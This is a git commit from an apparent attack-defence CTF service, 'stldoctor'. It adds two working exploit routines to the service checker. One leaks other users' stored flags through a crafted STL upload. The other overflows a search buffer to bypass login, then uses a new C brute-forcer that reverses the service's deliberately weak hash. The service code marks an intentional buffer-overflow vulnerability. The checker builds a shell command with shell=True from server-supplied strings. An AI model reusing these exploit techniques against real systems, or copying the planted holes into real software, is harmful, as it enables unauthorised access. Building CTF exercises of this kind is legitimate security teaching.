commit 8057ab1167b3c0c19f8212c86c7a849ca3997d47
parent 002a422e321971d2c6d4c54ffe40288252299cf8
Author: Louis Burda <quent.burda@gmail.com>
Date: Thu, 27 May 2021 21:58:17 +0200
bumped enochecker and implemented exploits with minor tweaks to source
Diffstat:
11 files changed, 288 insertions(+), 85 deletions(-)
diff --git a/checker/.gitignore b/checker/.gitignore
@@ -1 +1,3 @@
data/
+venv/
+.data/
diff --git a/checker/Dockerfile b/checker/Dockerfile
@@ -1,16 +1,25 @@
-FROM python:3.9
+FROM python:3.9-buster
-# Create user
+# package build-essential already installed..
+
+# add checker user
RUN useradd -ms /bin/bash -u 1000 checker
-USER checker
+# fix pycurses terminfo warnings
+ENV TERM=linux
+ENV TERMINFO=/etc/terminfo
+
+# copy files
+COPY ./src/ /checker/
WORKDIR /checker
+RUN chown checker -R /checker
-# Install all required dependencies for the checker.
-COPY ./src/requirements.txt /checker/requirements.txt
-RUN pip3 install -r requirements.txt
+# install deps
+USER checker
+RUN python3 -m pip install --no-warn-script-location -r requirements.txt
-# Copy all files into the container.
-COPY ./src/ /checker/
+# build extras
+ENV REVHASH_PATH=/checker/revhash/revhash
+RUN cd /checker/revhash && make
ENTRYPOINT [ "/home/checker/.local/bin/gunicorn", "-c", "gunicorn.conf.py", "checker:app" ]
diff --git a/checker/src/checker.py b/checker/src/checker.py
@@ -1,60 +1,76 @@
#!/usr/bin/env python3
from enochecker import BaseChecker, BrokenServiceException, EnoException, run
from enochecker.utils import SimpleSocket, assert_equals, assert_in
-import random, string, struct, logging, selectors, time, socket
+import os, random, string, struct, subprocess, logging, selectors, time, socket
import numpy as np
logging.getLogger("faker").setLevel(logging.WARNING)
logging.getLogger("pwnlib").setLevel(logging.WARNING)
+logging.getLogger("_curses").setLevel(logging.CRITICAL)
from faker import Faker
+evil_file = b"""
+solid test\xff
+facet normal 0 0 1.0
+ outer loop
+ vertex 1 0 0
+ vertex 1 1 0
+ vertex 0 1 0
+ endloop
+ endfacet
+endsolid
+"""
+
def ensure_bytes(v):
if type(v) == bytes:
return v
elif type(v) == str:
- return v.encode("latin-1")
+ return v.encode()
else:
raise BrokenServiceException("Tried to pass non str/bytes to bytes arg")
class STLDoctorChecker(BaseChecker):
+ service_name = "stldoctor"
+ port = 9090
+
flag_variants = 2
noise_variants = 2
havoc_variants = 4
- service_name = "stldoctor"
- port = 9000
+ exploit_variants = 2
- debuglog = True
+ prompt = b"$ "
def login_user(self, conn, password):
self.debug("Sending command to login.")
- self.write(conn, f"login\n{password}\n")
- conn.readline_expect(b"logged in!", recvuntil=b"$", exception_message="Failed to log in")
+ conn.write(f"login\n{password}\n")
+ conn.readline_expect(b"logged in!", recvuntil=self.prompt, exception_message="Failed to log in")
def write(self, conn, buf):
- if self.debuglog:
- print("SEND: " + str(ensure_bytes(buf)))
+ self.debug("SEND: " + str(ensure_bytes(buf)))
conn.send(ensure_bytes(buf))
def fakeid(self):
fake = Faker(["en_US"])
allowed = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmopqrstuvwxyz0123456789-+.!"
- return "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr = "".join([c for c in fake.name().replace(' ','') if c in allowed][:60]).ljust(10, '.')
+ idstr += "".join([random.choice(allowed) for i in range(5)])
+ return idstr
def havocid(self):
idlen = random.randint(10, 60)
return "".join([chr(random.randint(32, 127)) for i in range(idlen)])
def do_auth(self, conn, authstr):
- self.write(conn, f"auth {authstr}\n")
- resp = conn.recvuntil("$")
+ conn.write(f"auth {authstr}\n")
+ resp = conn.recvuntil(self.prompt)
authstr = ensure_bytes(authstr)
- assert_in(b"Success!", resp, f"Login with pass {authstr} failed!");
+ assert_in(b"Success!", resp, f"Login with pass {authstr} failed");
def check_listed(self, conn, modelid):
modelid = ensure_bytes(modelid)
- self.write(conn, "list\n")
- resp = conn.recvuntil("$")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
assert_in(modelid, resp, f"Uploaded model is missing from list command")
def genfile_ascii(self, solidname):
@@ -113,58 +129,56 @@ class STLDoctorChecker(BaseChecker):
else:
raise EnoException("Invalid file type supplied");
- def putfile(self, conn, modelname, solidname, filetype):
+ def putfile(self, conn, modelname, solidname, filetype="ascii", stlfile=None):
solidname = ensure_bytes(solidname)
modelname = ensure_bytes(modelname)
# Generate file contents
- stlfile = self.genfile(filetype = filetype, solidname = solidname)
+ if stlfile is None:
+ stlfile = self.genfile(filetype, solidname)
# Upload file
self.debug("Sending command to submit file")
- self.write(conn, "upload\n")
- self.write(conn, f"{len(stlfile)}\n")
- self.write(conn, stlfile)
- self.write(conn, modelname + b"\n")
+ conn.write("upload\n")
+ conn.write(f"{len(stlfile)}\n")
+ conn.write(stlfile)
+ conn.write(modelname + b"\n")
# Parse ID
- print(conn.recvuntil("with ID "))
+ self.debug(conn.recvuntil("with ID "))
modelid = conn.recvuntil(b"!")[:-1]
- if modelid == b"":
+ if modelid == "":
raise BrokenServiceException("Unable to upload file!")
- self.debug(f"Got ID {modelid}")
-
- conn.recvuntil(b"$")
+ self.debug(f"Uploaded file with {modelid}")
- if self.debuglog:
- print(f"PUT FILE: {modelid}")
+ conn.recvuntil(self.prompt)
return stlfile, modelid
- def getfile(self, conn, modelname):
+ def getfile(self, conn, modelname=None, download=True):
modelname = ensure_bytes(modelname)
self.debug(f"Sending command to retrieve file with name {modelname}")
- self.write(conn, "search\n")
- self.write(conn, modelname + b"\n")
- self.write(conn, "0\n") # first result
- self.write(conn, "y\n") # yes download
-
- resp = conn.recvuntil(b"Here you go.. (")
- print(resp)
- try:
- size = int(conn.recvuntil(b"B)\n")[:-3])
- except:
- print("GOT INSTEAD:", conn.recvall(timeout=0))
- raise BrokenServiceException("Returned file content size for download is not a valid integer")
-
- print("FILE SIZE:", size)
- contents = conn.recvn(size)
- if self.debuglog:
- print("GOT FILE:\n" + str(contents))
-
- conn.recvuntil("$") # clean up rest
- return resp + contents
+ conn.write("search\n")
+ conn.write(modelname + b"\n")
+ conn.write("0\n") # first result
+ conn.write("y\n" if download else "\n")
+
+ resp = conn.recvuntil("==================")
+ if download:
+ resp += conn.recvuntil(b"Here you go.. (")
+ try:
+ size = int(conn.recvuntil(b"B)\n")[:-3])
+ except:
+ raise BrokenServiceException("Returned file content size for download is not a valid integer")
+
+ self.debug(f"Download size: {size}")
+ contents = conn.recvn(size)
+ self.debug("File contents:\n" + str(contents))
+ resp += contents
+
+ conn.recvuntil(self.prompt)
+ return resp
def check_getfile(self, conn, modelname, solidname, contents, modelid = None):
resp = self.getfile(conn, modelname = modelname)
@@ -213,18 +227,19 @@ class STLDoctorChecker(BaseChecker):
self.check_listed(conn, modelid)
self.closeconn(conn)
+ def reverse_hash(self, hashstr):
+ return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1]
+
def openconn(self):
import pwnlib.tubes.remote
self.debug(f"Connecting to service at {self.address}:{self.port}")
conn = pwnlib.tubes.remote.remote(self.address, self.port, timeout = self.timeout)
- resp = conn.recvuntil("$") # ignore welcome
- if self.debuglog:
- print("WELCOME:",resp)
+ resp = conn.recvuntil(self.prompt)
return conn
def closeconn(self, conn):
self.debug("Sending exit command")
- self.write(conn, "exit\n")
+ conn.write("exit\n")
conn.close()
def putflag(self): # type: () -> None
@@ -312,9 +327,73 @@ class STLDoctorChecker(BaseChecker):
def exploit(self): # type: () -> None
if self.variant_id == 0:
- pass
+ name = self.fakeid()
+
+ conn = self.openconn()
+ resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
+ self.debug(f"Evil file: {mid}")
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ resp = self.getfile(conn, name, download=False)
+ self.debug(str(resp))
+ conn.write("search last\n")
+ filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l]
+
+ found = None
+ for i in range(len(filelist)):
+ self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1])
+ conn.write(filelist[i][0] + b"\ny\n")
+ fileinfo = conn.recvuntil(self.prompt)
+ self.debug("File contents:\n" + fileinfo.decode("latin1"))
+ found = self.search_flag_bytes(fileinfo)
+ if found is not None or i == len(filelist) - 1:
+ break
+ self.getfile(conn, name, download=False)
+ conn.write("search last\n")
+ conn.recvuntil("?")
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 1 failed")
+ return found
elif self.variant_id == 1:
- pass
+ conn = self.openconn()
+ conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
+ conn.recvuntil(self.prompt)
+ conn.write("auth\n")
+ assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
+ self.closeconn(conn)
+
+ conn = self.openconn()
+ found = None
+ for u in users:
+ self.debug(f"Logging in as user with id {u}")
+ user = self.reverse_hash(u.decode())
+ if user == b"":
+ raise BrokenServiceException("Failed to find hash preimage")
+ self.debug(f"Hash preimage: {user}")
+ conn.write(b"auth " + user + b"\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ if b"Welcome back" not in resp:
+ raise BrokenServiceException("Revhash returned invalid preimage")
+ conn.write("list\n")
+ resp = conn.recvuntil(self.prompt)
+ self.debug(resp)
+ names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
+ found = self.search_flag_bytes(names)
+ if found is not None:
+ break
+ self.closeconn(conn)
+
+ if found is None:
+ raise BrokenServiceException("Exploit for flagstore 2 failed")
+ return found
else:
raise EnoException("Invalid variant_id provided")
diff --git a/checker/src/requirements.txt b/checker/src/requirements.txt
@@ -2,9 +2,10 @@ certifi==2020.12.5
chardet==4.0.0
click==7.1.2
dnspython==1.16.0
-enochecker==0.3.2
-enochecker-cli==0.6.0
-enochecker-core==0.8.1
+# enochecker==0.4.0
+git+https://github.com/enowars/enochecker.git@storeddict-bson
+enochecker-cli==0.7.0
+enochecker-core==0.10.0
eventlet==0.30.2
Flask==1.1.2
greenlet==1.0.0
diff --git a/checker/src/revhash/.gitignore b/checker/src/revhash/.gitignore
@@ -0,0 +1,2 @@
+vgcore*
+revhash
diff --git a/checker/src/revhash/Makefile b/checker/src/revhash/Makefile
@@ -0,0 +1,11 @@
+CFLAGS = -g
+
+.PHONY: all clean
+
+all: revhash
+
+clean:
+ rm revhash
+
+revhash: main.c
+ $(CC) -o $@ $< $(CFLAGS)
diff --git a/checker/src/revhash/main.c b/checker/src/revhash/main.c
@@ -0,0 +1,80 @@
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdint.h>
+
+#define MAXITER 256 * 100
+#define MAX(x,y) ((x) > (y) ? (x) : (y))
+#define MIN(x,y) ((x) < (y) ? (x) : (y))
+
+int
+main(int argc, const char **argv)
+{
+ const char *hashstr;
+ char c, hexbuf[3] = { 0 }, *end, *buf;
+ int i, k, v, maxlen, sum, *hash, sublen, aftersum;
+
+ if (argc < 2) {
+ fprintf(stderr, "USAGE: revhash <hash>\n");
+ return EXIT_FAILURE;
+ }
+
+ hashstr = argv[1];
+ if (strlen(hashstr) % 2 != 0)
+ goto invalid;
+
+ /* alloc */
+ maxlen = strlen(hashstr) / 2;
+ hash = calloc(maxlen, sizeof(int));
+ buf = malloc(strlen(hashstr));
+ if (!hash) return EXIT_FAILURE;
+
+ /* convert hex to int array */
+ for (i = 0; i < maxlen; i++) {
+ memcpy(hexbuf, hashstr + 2 * i, 2);
+ hash[i] = strtol(hexbuf, &end, 16);
+ if (end && *end) goto invalid;
+ }
+
+ /* bruteforce srand seed */
+ for (i = 0; i < MAXITER; i++) {
+ srand(i);
+
+ /* reverse chars for given sum */
+ for (sum = i, k = 0; k < maxlen && sum > 0; k++) {
+ buf[k] = (char) hash[k] ^ (rand() % 256);
+ if (buf[k] < 0) break;
+ sum -= buf[k];
+ }
+
+ /* repeat if too short */
+ if (k && sum == 0) {
+ sublen = k;
+ for (k = sublen; k < maxlen; k++) {
+ buf[k] = (char) hash[k] ^ (rand() % 256);
+ if (buf[k] < 0 || buf[k] != buf[k % sublen]) break;
+ }
+ }
+
+ if (k < maxlen) continue;
+
+ /* output first part we know */
+ printf("%.*s", sublen, buf);
+
+ /* add rest of chars */
+ while (sum > 0) {
+ c = MIN(127, sum);
+ printf("%c", c);
+ sum -= c;
+ }
+
+ printf("\n");
+ return EXIT_SUCCESS;
+ }
+
+ return EXIT_FAILURE;
+
+invalid:
+ fprintf(stderr, "Invalid hash string!\n");
+ return EXIT_FAILURE;
+}
diff --git a/checker/test.sh b/checker/test.sh
@@ -2,6 +2,9 @@
ipstr="$1"
+SCRIPTPATH="$(dirname $(readlink -f "$0"))"
+export REVHASH_PATH="$SCRIPTPATH/src/revhash/revhash"
+
try() {
cmd="$1"
if [ $# -lt 2 ]; then
@@ -10,16 +13,18 @@ try() {
variant=$2
fi
echo "Executing $cmd with variant $variant.."
- output=$(enochecker_cli -A "http://localhost:8000/" -a "$ipstr" -v "$variant" -x 4000 "$cmd")
- echo $output
- [ -z "$(echo $output | grep OK)" ] && exit 1
+ python3 src/checker.py -j run -v "$variant" -x 4000 \
+ --flag ENOTESTFLAG123= --flag_regex 'ENO.*=' \
+ ${@:3} "$cmd" | tee /tmp/checker-log
+ [ -z "$(cat /tmp/checker-log | grep OK)" ] && exit 1
}
-if [ $# -lt 1 ]; then
- echo "USAGE: test.sh <IP>"
-elif [ $# -eq 3 ]; then
- try "$2" "$3"
+if [ $# -eq 2 ]; then
+ try $@
+elif [ "$1" == "test-exploits" ]; then
+ try exploit 0
+ try exploit 1
else
try putflag 0
try getflag 0
@@ -38,8 +43,8 @@ else
try havoc 2
try havoc 3
-# try exploit 0
-# try exploit 1
+ try exploit 0
+ try exploit 1
fi
exit 0
diff --git a/service/src/main.c b/service/src/main.c
@@ -190,8 +190,6 @@ search_cmd(const char *arg)
if (!(d = opendir(resultdir))) return;
- printf("%s %s\n", resultdir, hash);
-
dirstart = telldir(d);
for (i = 0; (de = readdir(d));) {
name = de->d_name;
@@ -266,8 +264,11 @@ cleanup:
void
list_cmd(const char *arg)
{
- DIR *d;
struct dirent *de;
+ struct parseinfo info;
+ char *path;
+ FILE *f;
+ DIR *d;
if (!loggedin) {
fprintf(stderr, "Not logged in!\n");
@@ -278,7 +279,16 @@ list_cmd(const char *arg)
while ((de = readdir(d))) {
if (*de->d_name == '.' && !strchr(".", de->d_name[1])) {
- printf("%s\n", de->d_name);
+ printf(">> %s\n", de->d_name);
+ path = aprintf("%s/%s/info", resultdir, de->d_name);
+ if ((f = fopen(path, "r"))) {
+ if (load_info(&info, f) != OK)
+ fprintf(stderr, "Failed to read saved file info!\n");
+ else
+ print_info(&info);
+ fclose(f);
+ }
+ free(path);
}
}
}
@@ -288,6 +298,7 @@ auth_cmd(const char *arg)
{
const char *hash;
char *ndir;
+ int ret;
if (loggedin) {
fprintf(stderr, "Already logged in!\n");
@@ -296,13 +307,16 @@ auth_cmd(const char *arg)
hash = mhash(arg ? arg : ask("Enter a password: "), -1);
ndir = aprintf("%s/.%s", resultdir, hash);
- if (mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO) && errno != EEXIST) {
+ ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO);
+ if (!ret) {
+ printf("Success!\n");
+ } else if (ret && errno == EEXIST) {
+ printf("Success!\nWelcome back!\n");
+ } else {
fprintf(stderr, "Auth failed!\n");
return;
}
- printf("Success!\n");
-
free(resultdir);
resultdir = ndir;
loggedin = 1;
diff --git a/service/src/util.c b/service/src/util.c
@@ -52,11 +52,11 @@ mhash(const char *str, int len)
/* VULN #2: BUFFER OVERFLOW */
/* see documentation/README.md for more details */
- if (len == -1) len = strlen(str) + 1;
+ if (len == -1) len = strlen(str);
for (v = 0, i = 0; i < len; i++) v += str[i];
- srand(v);
+ srand(v);
for (bp = buf, i = 0; i < MHASHLEN / 2; i++)
bp += sprintf(bp, "%02x", str[i % len] ^ (rand() % 256));
diff --git a/service/tests/test.sh b/service/tests/test.sh
@@ -43,7 +43,7 @@ checkleaks() {
connect() {
if [ "$RUNTYPE" == "remote" ]; then
- nc localhost 9000
+ nc localhost 9090
elif [ "$RUNTYPE" == "debug" ]; then
checkleaks
else